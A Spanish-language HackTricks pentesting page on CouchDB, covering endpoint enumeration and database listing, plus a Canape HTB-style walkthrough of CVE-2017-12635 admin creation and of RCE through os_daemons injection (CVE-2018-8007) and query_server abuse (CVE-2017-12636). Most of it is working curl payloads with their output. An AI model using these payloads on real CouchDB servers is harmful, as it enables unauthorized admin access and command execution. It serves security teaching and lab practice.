20 KiB
5984,6984 - Pentesting CouchDB
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥
-
¿Trabajas en una empresa de ciberseguridad? ¿Quieres ver tu empresa anunciada en HackTricks? ¿O quieres tener acceso a la última versión de PEASS o descargar HackTricks en PDF? ¡Consulta los PLANES DE SUSCRIPCIÓN!
-
Descubre The PEASS Family, nuestra colección exclusiva de NFTs
-
Obtén la oficial PEASS & HackTricks swag
-
Únete al 💬 grupo de Discord o al grupo de telegram o sígueme en Twitter 🐦@carlospolopm.
-
Comparte tus trucos de hacking enviando PR al repositorio de hacktricks y al repositorio de hacktricks-cloud.
Información básica
CouchDB es una base de datos orientada a documentos y dentro de cada documento los campos se almacenan como mapas clave-valor. Los campos pueden ser un par clave/valor simple, una lista o un mapa.
Cada documento que se almacena en la base de datos recibe un identificador único a nivel de documento (_id
) y un número de revisión (_rev
) para cada cambio que se realiza y se guarda en la base de datos.
Puerto predeterminado: 5984 (http), 6984 (https)
PORT STATE SERVICE REASON
5984/tcp open unknown syn-ack
Enumeración Automática
nmap -sV --script couchdb-databases,couchdb-stats -p <PORT> <IP>
msf> use auxiliary/scanner/couchdb/couchdb_enum
Enumeración Manual
Banner
curl http://IP:5984/
Esto emite una solicitud GET a una instancia de CouchDB instalada. La respuesta debería verse algo como uno de los siguientes:
{"couchdb":"Welcome","version":"0.10.1"}
{"couchdb":"Welcome","version":"2.0.0","vendor":{"name":"The Apache Software Foundation"}}
{% hint style="info" %}
Ten en cuenta que si accedes a la raíz de CouchDB y recibes un 401 Unauthorized
con algo como esto: {"error":"unauthorized","reason":"Authentication required."}
no podrás acceder al banner ni a ningún otro endpoint.
{% endhint %}
Enumeración de información
Estos son los endpoints a los que puedes acceder con una solicitud GET y extraer información interesante. Puedes encontrar más endpoints y descripciones más detalladas en la documentación de CouchDB.
/_active_tasks
Lista de tareas en ejecución, incluyendo el tipo de tarea, nombre, estado e ID de proceso.- **
/_all_dbs
**Devuelve una lista de todas las bases de datos en la instancia de CouchDB. - **
/_cluster_setup
**Devuelve el estado del nodo o clúster, según el asistente de configuración del clúster. /_db_updates
Devuelve una lista de todos los eventos de la base de datos en la instancia de CouchDB. La existencia de la base de datos_global_changes
es necesaria para usar este endpoint./_membership
Muestra los nodos que forman parte del clúster comocluster_nodes
. El campoall_nodes
muestra todos los nodos que este nodo conoce, incluyendo los que forman parte del clúster./_scheduler/jobs
Lista de trabajos de replicación. Cada descripción de trabajo incluirá información de origen y destino, ID de replicación, un historial de eventos recientes y algunas otras cosas./_scheduler/docs
Lista de estados de documentos de replicación. Incluye información sobre todos los documentos, incluso en estadoscompletados
yfallidos
. Para cada documento devuelve el ID del documento, la base de datos, el ID de replicación, origen y destino, y otra información./_scheduler/docs/{replicator_db}
/_scheduler/docs/{replicator_db}/{docid}
/_node/{node-name}
El endpoint/_node/{node-name}
se puede utilizar para confirmar el nombre del nodo Erlang del servidor que procesa la solicitud. Esto es más útil al acceder a/_node/_local
para recuperar esta información./_node/{node-name}/_stats
El recurso_stats
devuelve un objeto JSON que contiene las estadísticas del servidor en ejecución. La cadena literal_local
sirve como un alias para el nombre del nodo local, por lo que para todas las URL de estadísticas,{node-name}
se puede reemplazar con_local
, para interactuar con las estadísticas del nodo local./_node/{node-name}/_system
El recurso _system devuelve un objeto JSON que contiene varias estadísticas a nivel de sistema para el servidor en ejecución. Puedes usar ___local
como {node-name} para obtener información del nodo actual./_node/{node-name}/_restart
/_up
Confirma que el servidor está en funcionamiento y listo para responder a las solicitudes. Simaintenance_mode
estrue
onolb
, el endpoint devolverá una respuesta 404.- **
/_uuids
**Solicita uno o más Identificadores Únicos Universales (UUID) de la instancia de CouchDB. - **
/_reshard
**Devuelve un recuento de trabajos completados, fallidos, en ejecución, detenidos y totales junto con el estado de reorganización en el clúster.
Se puede extraer información más interesante como se explica aquí: https://lzone.de/cheat-sheet/CouchDB
Lista de bases de datos
curl -X GET http://IP:5984/_all_dbs
Si la solicitud responde con un 401 no autorizado, entonces necesitas credenciales válidas para acceder a la base de datos:
curl -X GET http://user:password@IP:5984/_all_dbs
Para encontrar credenciales válidas, podrías intentar realizar un ataque de fuerza bruta al servicio.
Este es un ejemplo de respuesta de CouchDB cuando tienes suficientes privilegios para listar las bases de datos (es solo una lista de bases de datos):
["_global_changes","_metadata","_replicator","_users","passwords","simpsons"]
Información de la base de datos
Puedes obtener información de la base de datos (como el número de archivos y tamaños) accediendo al nombre de la base de datos:
curl http://IP:5984/<database>
curl http://localhost:5984/simpsons
#Example response:
{"db_name":"simpsons","update_seq":"7-g1AAAAFTeJzLYWBg4MhgTmEQTM4vTc5ISXLIyU9OzMnILy7JAUoxJTIkyf___z8rkQmPoiQFIJlkD1bHjE-dA0hdPFgdAz51CSB19WB1jHjU5bEASYYGIAVUOp8YtQsgavfjtx-i9gBE7X1i1D6AqAX5KwsA2vVvNQ","sizes":{"file":62767,"external":1320,"active":2466},"purge_seq":0,"other":{"data_size":1320},"doc_del_count":0,"doc_count":7,"disk_size":62767,"disk_format_version":6,"data_size":2466,"compact_running":false,"instance_start_time":"0"}
Lista de Documentos
Lista cada entrada dentro de una base de datos.
curl -X GET http://IP:5984/{dbname}/_all_docs
curl http://localhost:5984/simpsons/_all_docs
#Example response:
{"total_rows":7,"offset":0,"rows":[
{"id":"f0042ac3dc4951b51f056467a1000dd9","key":"f0042ac3dc4951b51f056467a1000dd9","value":{"rev":"1-fbdd816a5b0db0f30cf1fc38e1a37329"}},
{"id":"f53679a526a868d44172c83a61000d86","key":"f53679a526a868d44172c83a61000d86","value":{"rev":"1-7b8ec9e1c3e29b2a826e3d14ea122f6e"}},
{"id":"f53679a526a868d44172c83a6100183d","key":"f53679a526a868d44172c83a6100183d","value":{"rev":"1-e522ebc6aca87013a89dd4b37b762bd3"}},
{"id":"f53679a526a868d44172c83a61002980","key":"f53679a526a868d44172c83a61002980","value":{"rev":"1-3bec18e3b8b2c41797ea9d61a01c7cdc"}},
{"id":"f53679a526a868d44172c83a61003068","key":"f53679a526a868d44172c83a61003068","value":{"rev":"1-3d2f7da6bd52442e4598f25cc2e84540"}},
{"id":"f53679a526a868d44172c83a61003a2a","key":"f53679a526a868d44172c83a61003a2a","value":{"rev":"1-4446bfc0826ed3d81c9115e450844fb4"}},
{"id":"f53679a526a868d44172c83a6100451b","key":"f53679a526a868d44172c83a6100451b","value":{"rev":"1-3f6141f3aba11da1d65ff0c13fe6fd39"}}
]}
Leer Documento
Leer el contenido de un documento dentro de una base de datos:
curl -X GET http://IP:5984/{dbname}/{id}
curl http://localhost:5984/simpsons/f0042ac3dc4951b51f056467a1000dd9
#Example response:
{"_id":"f0042ac3dc4951b51f056467a1000dd9","_rev":"1-fbdd816a5b0db0f30cf1fc38e1a37329","character":"Homer","quote":"Doh!"}
Escalada de privilegios en CouchDB CVE-2017-12635
Gracias a las diferencias entre los analizadores JSON de Erlang y JavaScript, se puede crear un usuario administrador con credenciales hacktricks:hacktricks
con la siguiente solicitud:
curl -X PUT -d '{"type":"user","name":"hacktricks","roles":["_admin"],"roles":[],"password":"hacktricks"}' localhost:5984/_users/org.couchdb.user:hacktricks -H "Content-Type:application/json"
Más información sobre esta vulnerabilidad aquí.
RCE de CouchDB
Cookie de Erlang
En la documentación de CouchDB, en la sección de configuración de clúster, se habla de los diferentes puertos utilizados por CouchDB:
CouchDB en modo clúster utiliza el puerto
5984
al igual que en modo independiente, pero también utiliza el puerto5986
para las APIs locales del nodo.Erlang utiliza el puerto TCP
4369
(EPMD) para encontrar otros nodos, por lo que todos los servidores deben poder comunicarse entre sí en este puerto. En un clúster de Erlang, todos los nodos están conectados a todos los demás nodos. Una malla.
Y luego hay una advertencia interesante:
Si miramos en la lista de procesos, podemos ver esa cookie, "monster":
www-data@canape:/$ ps aux | grep couchdb
root 744 0.0 0.0 4240 640 ? Ss Sep13 0:00 runsv couchdb
root 811 0.0 0.0 4384 800 ? S Sep13 0:00 svlogd -tt /var/log/couchdb
homer 815 0.4 3.4 649348 34524 ? Sl Sep13 5:33 /home/homer/bin/../erts-7.3/bin/beam -K true -A 16 -Bd -- -root /home/homer/b
Puedes leer esta sección para aprender cómo abusar de las cookies de Erlangs para obtener RCE.
Además, puedes leer algunos writeups de la máquina Canape HTB como este para ver y practicar cómo explotar esta vulnerabilidad.
Éxito en CVE-2018-8007 con permisos de escritura en local.ini
Al escribir esta publicación, encontré un nuevo CVE que había sido lanzado para CouchDB por mdsec, CVE-2018-8007. También requiere escrituras en el archivo local.ini
, por lo que no es una opción útil para Canape. Pero como ya lo hemos hecho escribible como root, veamos si podemos hacer que funcione.
Comenzamos con un local.ini
limpio y ahora escribible (y una copia de seguridad):
root@canape:/home/homer/etc# ls -l
total 40
-r--r--r-- 1 homer homer 18477 Jan 20 2018 default.ini
-rw-rw-rw- 1 homer homer 4841 Sep 14 17:39 local.ini
-r--r--r-- 1 root root 4841 Sep 14 14:30 local.ini.bk
-r--r--r-- 1 homer homer 1345 Jan 14 2018 vm.args
Podemos usar curl para modificar los orígenes en el archivo local.ini
. La vulnerabilidad aquí es que si usamos curl para poner un nuevo origen y luego nuevas líneas, podemos escribir cosas adicionales, incluyendo una nueva cabecera y detalles. Así que aprovecharemos el campo [os_daemons]
y agregaremos un proceso para que CouchDB intente seguir funcionando:
www-data@canape:/dev/shm$ curl -X PUT 'http://0xdf:df@localhost:5984/_node/couchdb@localhost/_config/cors/origins' -H "Accept: application/json" -H "Content-Type: application/json" -d "0xdf\n\n[os_daemons]\ntestdaemon = /usr/bin/touch /tmp/0xdf"
En la shell de root, podemos ver qué cambios se han producido:
root@canape:/home/homer/etc# diff local.ini local.ini.bk
119,124d118
<
< [cors]
< origins = 0xdf
<
< [os_daemons]
< test_daemon = /usr/bin/touch /tmp/0xdf
Y sin embargo, el archivo no está ahí:
root@canape:/home/homer/etc# ls /tmp/0xdf
ls: cannot access '/tmp/0xdf': No such file or directory
Si observamos los procesos en ejecución con "couchdb" en la línea de comandos, no solo vemos la línea de comando que nos da el valor de la cookie que usamos anteriormente, sino también runsrv couchdb
:
root@canape:/home/homer/bin# ps aux | grep couch
root 711 0.0 0.0 4240 696 ? Ss 14:28 0:00 runsv couchdb
root 728 0.0 0.0 4384 812 ? S 14:28 0:00 svlogd -tt /var/log/couchdb
homer 1785 0.8 3.1 638992 31248 ? Sl 17:55 0:01 /home/homer/bin/../erts-7.3/bin/beam -K true -A 16 -Bd -- -root /home/homer/bin/.. -progname couchdb -- -home /home/homer -- -boot /home/homer/bi
n/../releases/2.0.0/couchdb -name couchdb@localhost -setcookie monster -kernel error_logger silent -sasl sasl_error_logger false -noshell -noinput -config /home/homer/bin/../releases/2.0.0/sys.config
Si matamos ese proceso, vuelve a aparecer de inmediato (observa el nuevo pid):
root@canape:/home/homer/etc# kill 711
root@canape:/home/homer/etc# ps aux | grep runsrv
root 2031 0.0 0.0 14224 980 pts/2 S+ 18:09 0:00 grep --color=auto runsrv
Y, al reiniciar, ejecuta los OS_Daemons:
root@canape:/home/homer/etc# ls /tmp/0xdf
/tmp/0xdf
Intento exitoso a través de CVE-2017-12636 con permisos de escritura en local.ini
CVE-2017-12636 permite la ejecución de código a través del proceso de couchdb. Sin embargo, no funcionará en esta configuración.
Hay algunos POCs por ahí como referencia:
- https://raw.githubusercontent.com/vulhub/vulhub/master/couchdb/CVE-2017-12636/exp.py
- https://www.exploit-db.com/exploits/44913/
Necesitaríamos escribir un nuevo query_server y luego invocarlo. Cuando se lanzó Canape, la mayoría de los POC eran para couchdb 1.x, pero esta caja está ejecutando la versión 2, por lo que la ruta de query_servers de la mayoría de los POC no existe. Eso ha cambiado ahora, pero seguiremos los mismos pasos. Primero, obtenga la versión y muestre que la ruta 1.X no existe:
www-data@canape:/var/www/git$ curl http://localhost:5984
{"couchdb":"Welcome","version":"2.0.0","vendor":{"name":"The Apache Software Foundation"}}
www-data@canape:/var/www/git$ curl http://0xdf:df@localhost:5984/_config/query_servers/
{"error":"not_found","reason":"Database does not exist."}
Actualización con la nueva ruta para la versión 2.0:
www-data@canape:/var/www/git$ curl 'http://0xdf:df@localhost:5984/_membership'
{"all_nodes":["couchdb@localhost"],"cluster_nodes":["couchdb@localhost"]}
www-data@canape:/var/www/git$ curl http://0xdf:df@localhost:5984/_node/couchdb@localhost/_config/query_servers
{"coffeescript":"./bin/couchjs ./share/server/main-coffee.js","javascript":"./bin/couchjs ./share/server/main.js"}
Desde allí, deberíamos agregar un query_server y luego invocarlo, pero no podemos hacerlo.
www-data@canape:/var/www/git$ curl -X PUT 'http://0xdf:df@localhost:5984/_node/couchdb@localhost/_config/query_servers/cmd' -d '"/sbin/ifconfig > /tmp/df"'
{"error":"badmatch","reason":"{badrpc,{'EXIT',{{{badmatch,{error,eacces}},\n [{config_writer,save_to_file,2,\n [{file,\"src/config_writer.erl\"},{line,38}]},\n {config,handle_call,3,[{file,\"src/config.erl\"},{line,222}]},\n {gen_server,try_handle_call,4,\n [{file,\"gen_server.erl\"},{line,629}]},\n {gen_server,handle_msg,5,\n [{file,\"gen_server.erl\"},{line,661}]},\n {proc_lib,init_p_do_apply,3,\n [{file,\"proc_lib.erl\"},{line,240}]}]},\n {gen_server,call,\n [config,\n {set,\"query_servers\",\"cmd\",\n \"/sbin/ifconfig > /tmp/df\",true,nil}]}}}}","ref":1617834159}
Algunas búsquedas en Google muestran que este es un problema de permisos. De hecho, si verificamos con nuestra shell de root, podemos ver que el archivo local.ini
no es escribible por nadie, y mucho menos por www-data:
root@canape:/home/home/etc# ls -ls local.ini
8 -r--r--r-- 1 homer homer 4841 Sep 14 17:11 local.ini
Así que esto es un callejón sin salida para Canape. Pero si queremos intentar hacerlo funcionar, podemos hacerlo legible con nuestro acceso de root o homer, y continuar por este camino. Haremos una copia de seguridad del original para poder ver qué cambios se realizan:
root@canape:/# cp /home/homer/etc/local.ini /home/homer/etc/local.ini.b
root@canape:/# chmod 666 /home/homer/etc/local.ini
Ahora, volvamos a nuestra shell de www-data:
www-data@canape:/dev/shm$ curl -X PUT 'http://0xdf:df@localhost:5984/_node/couchdb@localhost/_config/query_servers/cmd' -d '"/sbin/ifconfig > /tmp/df"'
""
www-data@canape:/dev/shm$ curl -X PUT 'http://0xdf:df@localhost:5984/_node/couchdb@localhost/_config/query_servers/cmd' -d '"/sbin/ifconfig > /tmp/df"'
""
Obtenemos el valor previo para el servidor de consulta cmd, lo que significa éxito. Y en la shell raíz, podemos ver que funcionó:
root@canape:/home/homer/etc# diff local.ini local.ini.bk
48c48
< cmd = /sbin/ifconfig > /tmp/df
---
> cmd =
Ahora, deberíamos ser capaces de crear una base de datos, y luego un documento en esa base de datos, y solicitarlo con una vista que mapee nuestro query_server para obtener la ejecución.
Crear base de datos y documento:
www-data@canape:/dev/shm$ curl 'http://0xdf:df@localhost:5984/_all_dbs'
["_global_changes","_metadata","_replicator","_users","god","passwords","simpsons","vultest"]
www-data@canape:/dev/shm$ curl -X PUT 'http://0xdf:df@localhost:5984/df'
{"ok":true}
www-data@canape:/dev/shm$ curl 'http://0xdf:df@localhost:5984/_all_dbs'
["_global_changes","_metadata","_replicator","_users","df","passwords","simpsons"]
www-data@canape:/dev/shm$ curl -X PUT 'http://0xdf:df@localhost:5984/df/zero' -d '{"_id": "HTP"}'
{"ok":true,"id":"zero","rev":"1-967a00dff5e02add41819138abb3284d"}
www-data@canape:/dev/shm$ curl 'http://0xdf:df@localhost:5984/_all_dbs'
["_global_changes","_metadata","_replicator","_users","god","passwords","simpsons","vultest"]
www-data@canape:/dev/shm$ curl -X PUT 'http://0xdf:df@localhost:5984/df'
{"ok":true}
www-data@canape:/dev/shm$ curl 'http://0xdf:df@localhost:5984/_all_dbs'
["_global_changes","_metadata","_replicator","_users","df","passwords","simpsons"]
www-data@canape:/dev/shm$ curl -X PUT 'http://0xdf:df@localhost:5984/df/zero' -d '{"_id": "HTP"}'
{"ok":true,"id":"zero","rev":"1-967a00dff5e02add41819138abb3284d"}
Solicítalo en una vista:
www-data@canape:/dev/shm$ curl -X PUT 'http://0xdf:df@localhost:5984/df/_design/zero' -d '{"_id": "_design/zero", "views": {"anything": {"map": ""} }, "language": "cmd"}' -H "Content-Type: application/json"
Resumen
Se puede buscar la base de datos CouchDB en el puerto 5984 utilizando Shodan. Además, se proporcionan referencias a un análisis de vulnerabilidades y a una ejecución de CouchDB. También se incluyen enlaces a recursos adicionales de HackTricks Cloud.